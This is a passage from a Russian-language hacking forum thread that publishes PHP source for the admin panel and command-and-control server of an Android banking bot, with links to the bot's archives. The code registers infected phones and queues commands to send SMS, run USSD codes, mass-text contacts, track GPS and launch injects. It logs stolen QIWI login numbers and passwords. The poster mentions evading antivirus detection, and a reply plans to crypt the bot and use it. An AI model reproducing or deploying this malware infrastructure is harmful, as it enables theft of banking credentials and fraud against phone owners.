     $date_from = explode('-', $date_from);
     $date_till = explode('-', $date_till);
 
     $time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
     $time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
   
     $day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
     //----------Секунды!-------/
     $date1 = new \DateTime($row['lastConnect']);
     $date2 = new \DateTime(date('Y-m-d H:i'));
     $diff = $date2->diff($date1);
     // разница в секундах
     $seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
     ($diff->m * 30 * 24 * 60 * 60) +
     ($diff->d * 24 * 60 * 60) +
     ($diff->h * 60 * 60) +
     ($diff->i * 60) +
     $diff->s;
     //----------обработка состояние иконки on/off-------/
     if($day>=2)//Дни!
     {
   $img="/images/icons/kill.png";
     }
     else
     {
   if($seconds<=120)
   {$img="/images/icons/online.png";}
   else
   {$img="/images/icons/offline.png";}
     }
     //************Иконки ЛОГОВ***************************************
     if($l_inj == "1")
     {$icon_inj="/images/icons/inj_on.png";}
     else
     {$icon_inj="/images/icons/inj_off.png";}
 
     if($l_bank == "1")
     {$icon_bank="/images/icons/bank_on.png";}
     else
     {$icon_bank="/images/icons/bank_off.png";}
 
     if($l_log == "1")
     {$icon_log="/images/icons/log_on.png";}
     else
     {$icon_log="/images/icons/log_off.png";}
 
     /**/
     if($root == "1")
     {$icon_root="/images/icons/V.png";}
     else
     {$icon_root="/images/icons/X.png";}
 
     if($seconds<=120)
     {
   if($screen == "1")
   {$icon_screen="/images/icons/V.png";}
   else
   {$icon_screen="/images/icons/X.png";}
     }
     else
     {
   $icon_screen="/images/icons/X.png";
     }
     //----страны
   
     if($country == "") $country = "not";
 
     $country =  mb_strtolower($country);  
     //************Данные в таблице********************************************

     echo "<tr class='table_bots' style='color: #A4A4A4;'>";
   
     echo "
   <td><input type=checkbox name=checks[] value=$ID:$IMEI></input></td>
   <td>$IMEI</td>
   <td>$number</td>
   <td>$version</td>
   <td>$version_apk</td>
   <td><a title='$country'><img src='/images/country/$country.png' width='16px'/></a></td>
   <td>$bank</td>
   <td>$model</td>
   <td>
   <a title='root права'><img src=$icon_root width='16px'/></a>
   </td>
   <td>
   <a title='Состояние экрана'><img src=$icon_screen width='16px'/></a>
   </td>
   <td><a title='$lastConnect'><img src=$img width='16px'/></a></td>
   <td>$firstConnect</td>
   <td>
   <a title='Инжект'><img src=$icon_inj width='16px'/></a>
   <a title='Visa'><img src=$icon_bank width='16px'/></a>
      <button class='btn_log' name='click_log' value='$IMEI' title='Логи' ><img src='$icon_log' title='Логи' alt='img' width='16px' class='img_log'/></button>
   </td>
   </tr>";
     
 }
  echo "</form>";
 
 

 //    id  IMEI  number  version  country  bank  model  lastConnect  firstConnect
 ?>
</table>
<?php

//НОМЕРА СТРАНИЦ
       $connection->exec('SET NAMES utf8');      
       $sql2 = "SELECT * FROM kliets";
 foreach($connection->query($sql2) as $row)
 {
     $count_id_page++;  
 }
   
    $a = ceil($count_id_page/$count_id);
 echo "<center>";
 for($b=1;$b<=$a;$b++)
 {
     echo "<a style='color: #fff; font-family: Consolas;' href='index.php?cont=kliets&page=$b' style='text-decoration:none;'>$b</a>";
 }
 echo "</center>";
?>

<?php//-------------конец таблице--------------------начало----------------------Модальное окно для Добавления команд-----?>


<div id = "parent_modal">
<div id = "modal">
<a id="exit" href="index.php?cont=kliets&page=<?php echo $page1;?>" style="cursor: pointer; color: Red;" onclick="document.getElementById('parent_modal').style.display = 'none'";>X</a>
 <div class="styled-select">
 
 <form name="modal_command"  method="POST" action="/private/command_go_modul.php">
     Выбраные боты<select name="comboBox_imeis" style="color: #fff">
   
   
<?php      //--------вставляем IMEIs в текстовое поле--------

 if(isset($_POST["add_commands"]))
 {
     if (preg_match("/checks/",print_r($_POST,true)))
     {
   $t_i="";
   foreach($_POST["checks"] as $imei)
   {
       $imei_add = explode(":", $imei);
       echo "<option value='$imei_add[0]'>$imei_add[1]";
       $t_i = "$t_i:$imei_add[1]";
   }
   echo "<input type='text' value='$t_i' name='text_imei' style='visibility:hidden'/>";
     }
 }  
?>
     </select>
     Выберите команду
   <select  name="comboBox_commands" onchange="showOption(this)" style="color: #fff">
       <option value='null'>
       <option value='r_root'>Запросить root права
       <option value='sentSMS'>Отправть СМС
       <option value='startPermis'>Запрос разрешения чтения/отправки СМС(Android 6.0 и более)
   </select>

     <div  id="div_sent_sms" name="div_sent_sms" style="visibility:hidden">
     Введите номер<input type="text" name="text_number" id="styled-select" style="color: #fff; background: #1D1F24;"></input>
     Введите текст СМС<input type="text" name="text_msg" id="styled-select" style="color: #fff; background: #1D1F24;"></input>
     </div>
 </div>
   
     <script type="text/javascript">
    function showOption(el)
    {
     if(el.options[el.selectedIndex].value == "sentSMS")//отправка смс
     {
       document.getElementById("div_sent_sms").style.visibility = "visible";
     }else
     {
      document.getElementById("div_sent_sms").style.visibility = "hidden";
     }
    }
     </script>
   
     <input style="margin-top:0px;" type="submit" id="bth_add_command" value="Активировать команду" name="bth_add_command" class="submit"/>
 

<?php echo "<input type='text' value='$page1' name='ref' style='visibility:hidden'/>"; //передаем номер страницы
?>
     </form>
 </div>
</div>
</div>

<?php//--форма ЛОГ модульное окно!------rows="31" cols="158"--------?>
<div id = "log_modal">
<div id = "modal_l">
<a id="exit" href="index.php?cont=kliets&page=<?php echo $page1;?>"  style="margin-left:97%; cursor: pointer; color: Red;" onclick="document.getElementById('log_modal').style.display = 'none'";>X</a>
 <div class="styled-select">
   
     <textarea readonly name="mesage"  wrap="virtual" class="textlog">
     <?php
   
     $sql3 = "UPDATE kliets SET inj = '0', l_bank = '0', log = '0' WHERE IMEI = '$log_IMEI';";
     $connection->query($sql3);
     if (@fopen("private/logs/$log_IMEI.log", "r")){ // проверяем на существование файла
   //читаем
      $filename = "private/logs/$log_IMEI.log";
                 $handle = fopen($filename, "r");
                 $contents = fread($handle, filesize($filename));
                 fclose($handle);
                 echo "$contents";
     }
     ?></textarea>
 
 </div>
</div>
</div>

</div>

/private/tuk_tuk.php
Код:
<?php
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
include 'crypt.php';
include 'config.php';
$request = mb_substr($request, 0, mb_strlen($request));
$request =  decrypt($request,cryptKey);

$massivReq = explode(":", $request);

$IMEI = $massivReq[0];
$root = $massivReq[1];
$screen = $massivReq[2];

$screen = mb_substr($screen,0,mb_strlen($screen)-1);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$sql = "SELECT * FROM kliets WHERE IMEI='$IMEI'";
$connection->exec('SET NAMES utf8');
$booleanIMEI = false;
foreach($connection->query($sql) as $row)
{
if($row['IMEI']==$IMEI)
{
 $booleanIMEI=true;  
 break;
}
}
if($booleanIMEI == true)
{
 $sql2 = "SELECT * FROM commands";
 $data_comm = "";
 foreach($connection->query($sql2) as $row)
 {
  if($row['IMEI']==$IMEI)
 {
         $com0 = "id=";
   $com1 = $row['id'];
   $com2 = $row['command'];
   $data_comm = "$data_comm$com0$com1$com2";
 }
 }
 //Удаляем нафиг команды!
 $sql3 = "DELETE FROM commands WHERE IMEI='".$IMEI."'";
 $connection->query($sql3);
 

 //Записываем время конекта в бд и другую инфу
 $data_ = date('Y-m-d H:i');
 $sql3 = "UPDATE kliets SET lastConnect = '$data_', r00t = '$root', screen= '$screen' WHERE IMEI='".$IMEI."';";
 $connection->query($sql3);
 
     

 //отправляем статус настроек
 if(($data_comm == "")||($data_comm == " "))
 {
 $sql = "SELECT * FROM settings";
 foreach($connection->query($sql) as $row)
 {
     if($row['IMEI']==$IMEI)
     {
   if($row['state']=="1")
   {
       $data_comm="state1letsgotxt";
       $sql3 = "UPDATE settings SET state = '0' WHERE IMEI='".$IMEI."';";
       $connection->query($sql3);
   }
     }
 }
 }

 $booleanIMEI == false;
//достаем команды и отправляем!
$tag = "<tag>";
$otv = encrypt("$data_comm",cryptKey);;
$tagend = "</tag>";
echo "$tag$otv$tagend";
}
else
{//Если команды нет!
$tag = "<tag>";
$otv = encrypt("|NO|",cryptKey);
$tagend = "</tag>";
echo "$tag$otv$tagend";
}

//проверяем существует ли такой IMEI
//если существует, достаем команды которые есть и отдаем
//если не существует отдаем |NO|
//SELECT * FROM table_name WHERE (выражение) [order by field_name [desc][asc]]
?>
/private/set_data.php
Код:
<?php
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
include 'crypt.php';
include 'config.php';
$request = decrypt($request,cryptKey);


$massivReq = explode(":", $request);
$IMEI = $massivReq[0];
$phoneNumber = $massivReq[1];
$Version = $massivReq[2];
$country =$massivReq[3];
$bank = $massivReq[4];
$model = $massivReq[5];
$Version_apk = $massivReq[6];

$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM kliets WHERE IMEI='$IMEI'";

$booleanIMEI = false;
foreach($connection->query($sql) as $row)
{
if($row['IMEI']==$IMEI)
{
 $booleanIMEI=true;  
 break;
}
}
if($booleanIMEI == false)
{
$data = date('Y-m-d H:i');
$add_data = $connection->exec("REPLACE INTO kliets (IMEI,number,version,country,bank,model,lastConnect,firstConnect,version_apk)
value ('$IMEI','$phoneNumber','$Version','$country','$bank','$model','$data','$data','$Version_apk')");

//Создаем файл для ведение ЛОГов!
//$path_log = "logs/$IMEI.log";
//file_put_contents($path_log, PHP_EOL.'', FILE_APPEND);

//    id  IMEI  number  version  country  bank  model  lastConnect  firstConnect
//    echo "IMEI: $IMEI Номер: $phoneNumber Версия: $Version Страна: $country    Банк: $bank Модель:  $model";

$tag = "<tag>";
$otv = encrypt("|OK|",cryptKey);
$tagend = "</tag>";

echo "$tag$otv$tagend";
}
else
{
$tag = "<tag>";
$otv = encrypt("|NO|",cryptKey);;
$tagend = "</tag>";

echo "$tag$otv$tagend";
//echo "<tag>|NO|</tag>";
}
?>
/private/crypt.php
Код:
<?php
//*************************************
function encrypt($string, $key) //шифрование траффа логов
{  
 $str = urlencode($string);
 $ret = "";
 for($i=0; $i<mb_strlen($str); $i++)
 {
     $r1 = ord(mb_substr($str, $i, 1));
     $ret  = "$ret $r1";
 }

 for($i=0; $i<mb_strlen($key); $i++)
 {
     $ret = str_replace($i, mb_substr($key, $i, 1), $ret);
 }
 $ret = mb_substr($ret, 1, mb_strlen($ret)); //!
 return $ret;
}

function decrypt($string, $key)
{
 $ret = $string;
 $ret = mb_substr($ret, 0, mb_strlen($ret)); //!
 
 for($i=0; $i<mb_strlen($key); $i++)
 {
     $ret = str_replace(mb_substr($key, $i, 1), $i, $ret);
 }
 $massivRet = explode(" ", $ret);
 
 $ret="";
 foreach($massivRet as $massivR)
 {
     $r1 = chr($massivR);
     $ret = "$ret$r1";
 }
 $str = urldecode($ret);
 return $str;
}
?>
/private/config.php
Код:
<?php
define('SERVER' , 'localhost');
define('DB', 'database');
define('USER', 'root');
define('PASSWORD' , '123');
define('cryptKey' , 'qwe');//ключ шифрования трафика!
/private/commands.php
Код:
<div class="content">
<table align="center" class="header_table_commands" border="1" cellspacing="0" cellpadding="0" width=100%'>
<thead class="header_table_commands">  
    <th></th>
 <th>ID</th>
 <th>IMEI</th>  
 <th>Команда</th>
</thead>

<?php
 include 'config.php';
 $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
 $connection->exec('SET NAMES utf8');
       $sql = "SELECT * FROM commands";
 $booleanIMEI = false;

 //*****Обработка запросa Для удаления!
 if(isset($_POST["delete"]))
 {
     if (preg_match("/checks/",print_r($_POST,true)))
     {
   foreach($_POST["checks"] as $id)
   {
       $id_del = $id;
       $sql2 = "DELETE FROM commands WHERE id='".$id_del."'";
       $connection->query($sql2);
   }
     }
   header ('Location: /index.php?cont=commands');
 }
 
 //******батоны и переменые с базы!********
    echo "<form method='post'>";
 echo "<input type='submit' value='Удалить' name='delete' class='submit'/>";
 echo "<p id='text_command'> Команды в очереди</p>";
 
 foreach($connection->query($sql) as $row)
 {
     $ID = $row['id'];
     $IMEI = $row['IMEI'];
     $command = $row['command'];

     //************Данные в таблице********************************************
     echo "<tr class='table_bots' style='color: #A4A4A4'>
   <td><input type=checkbox name=checks[] value=$ID></input></td>
   <td>$ID</td>
   <td>$IMEI</td>
   <td>$command</td>
   </tr>";
 }
  echo "</form>";

 //    id  IMEI  command
 ?>

</table>
</div>
/private/command_go_modul.php
Код:
<?php
  //передаем данные для выпонения команд!!!-----
 if(isset($_POST["bth_add_command"]))
 {
   
   
     if (isset($_POST['comboBox_commands']))
     {
       
   include 'config.php';
   $connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);

   $connection3->exec('SET NAMES utf8');
   $que=$_POST['comboBox_commands'];
     
   if($que == "r_root")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
     
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "Go_P00t_request::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
     }
       }
   }

   if($que == "sentSMS")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
     
       $numb = $_POST['text_number'];
       $msg = $_POST['text_msg'];
     
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "|command=Send SMS|number=$numb|text=$msg::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
         //echo "<script>alert('$imei $command_')</script>";
     }
       }
   }
   if($que == "startUSSD")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
     
       $ussd = $_POST['text_ussd'];
       $ussd = str_replace("*",urlencode("*"),$ussd);
       $ussd = str_replace("#",urlencode("#"),$ussd);
     
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "|UssDg0=$ussd|endUssD::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
         //echo "<script>alert('$imei $command_')</script>";
     }
       }
   }
   if($que == "numberGO")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
     
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "nymBePsG0::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
     }
       }
   }
     }
   
     if($que == "numberGOsendSMS")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
     
       $ussd = $_POST['text_sms_tel_book'];

       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "|telbookgotext=$ussd|endtextbook::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
         //echo "<script>alert('$imei $command_')</script>";
     }
       }
   }
 
   if($que == "startPermis")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
     
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "Go_startPermis_request::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
     }
       }
   }
   if($que == "startGPSlocat")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
     
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "Go_GPSlocat_request::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
     }
       }
   }
 
   if($que == "startinj")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
     
       $ussd = $_POST['comboBox_inj'];

       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "|startinj=$ussd|endstartinj::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
         //echo "<script>alert('$imei $command_')</script>";
     }
       }
   }
   $page = $_POST['ref'];
 
     header ("Location: /");
 }
?>
/private/add_log.php
Код:
<?php 
include 'crypt.php';
include 'config.php';


$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);

$request = mb_substr($request, 0, mb_strlen($request));
$request =  decrypt($request,cryptKey);

$massivReq = explode("|", $request);
$IMEI_log = $massivReq[0];
$text_log = $massivReq[1];

echo "$IMEI_log $text_log";

if(($IMEI_log != "") && ($text_log != ""))
{
//Записываем ЛОГи!  
$path_log = "logs/$IMEI_log.log";  
$perehod = "\n";
$str_log = "$IMEI_log: $text_log$perehod";
file_put_contents($path_log, $str_log, FILE_APPEND);

$massiv_visa = array('visa', 'VISA','Visa','QIWI');

$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$data_ = date('Y-m-d H:i');
$sql3 = "UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);

$sql3 = "UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
 
foreach($massiv_visa as $sl_visa)
{
 if (strpos($text_log, $sl_visa) == true)
 {
     $sql3 = "UPDATE kliets SET l_bank = '1' WHERE IMEI = '$IMEI_log';";
     $connection->query($sql3);
 }
}
}
?>
/private/add_inj.php
Код:
<?php 
include 'crypt.php';
include 'config.php';

$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
$request =  decrypt($request,cryptKey);

$massivReq = explode("|", $request);
$IMEI_log = $massivReq[0];
$text_log = $massivReq[1];

//КИВИ
if($text_log == "QIWI")
{
 
$user = $_POST['mob_num'];
$pass = $_POST['pass'];

$l_u = "";
$l_p = "";

if($user!="") $l_u = "Номер: $user";
if($pass!="") $l_p = "Пароль: $pass";

$text_log = "Инжект(QIWI)\n$l_u\n$l_p\n";
}

echo "HTTP: Error 12007 when connecting";

if(($IMEI_log != "") && ($text_log != ""))
{
//Записываем ЛОГи!  
$path_log = "logs/$IMEI_log.log";  
$perehod = "\n";
$str_log = "$IMEI_log: $text_log$perehod";
file_put_contents($path_log, $str_log, FILE_APPEND);

$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$data_ = date('Y-m-d H:i');
$sql3 = "UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);

$sql3 = "UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
 
$sql3 = "UPDATE kliets SET  inj = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);

}
?>
Форму авторизации я не делал, думаю кому надо, тот найдет решение проблемы!

Скрин админки
cbe77e5ae7ca4cc39078676bf662a918.jpg


Админку я обрезал со своего бота, скрин админки моего бота:
http://hostingkartinok.com/show-image.php?...edf8f938e06b3ea

Исходники:
Бот: https://yadi.sk/d/Go9X_wzE33z76Z пасс: qweasd
Админка: https://yadi.sk/d/ZsgNskV-33z7h6 пасс: qweasd
База mysql: https://yadi.sk/d/EuyB5s0J33zApJ пасс: qweasd
Ну вот мы и рассмотрели разработку Андроид бота, да и не только, так же один из вариантов борьбы с детектом! зы Ребят, прошу не работайте по ру!











Перезалей админку, пожалуйста
 

maksymk

Новичок
Статус
offline
Регистрация
22.08.2017
Сообщения
21
Репутация
1
админку перезальет кто нибудь?
 

gpeace

Новичок
Статус
offline
Регистрация
28.09.2017
Сообщения
8
Репутация
2
как на 6.0 запустить ?
 

gpeace

Новичок
Статус
offline
Регистрация
28.09.2017
Сообщения
8
Репутация
2
Он работает на 6.0
На 7 тоже.
По крайней мере месяца два назад работал.
Сейчас уже долго в паблике, может уже и не работает нихрена.
планирую криптовать и в дело под палку пустить
 

gpeace

Новичок
Статус
offline
Регистрация
28.09.2017
Сообщения
8
Репутация
2
Он работает на 6.0
На 7 тоже.
По крайней мере месяца два назад работал.
Сейчас уже долго в паблике, может уже и не работает нихрена.
я про инжекты имел ввиду. можно ли их вешать через /proc начиная с 6.0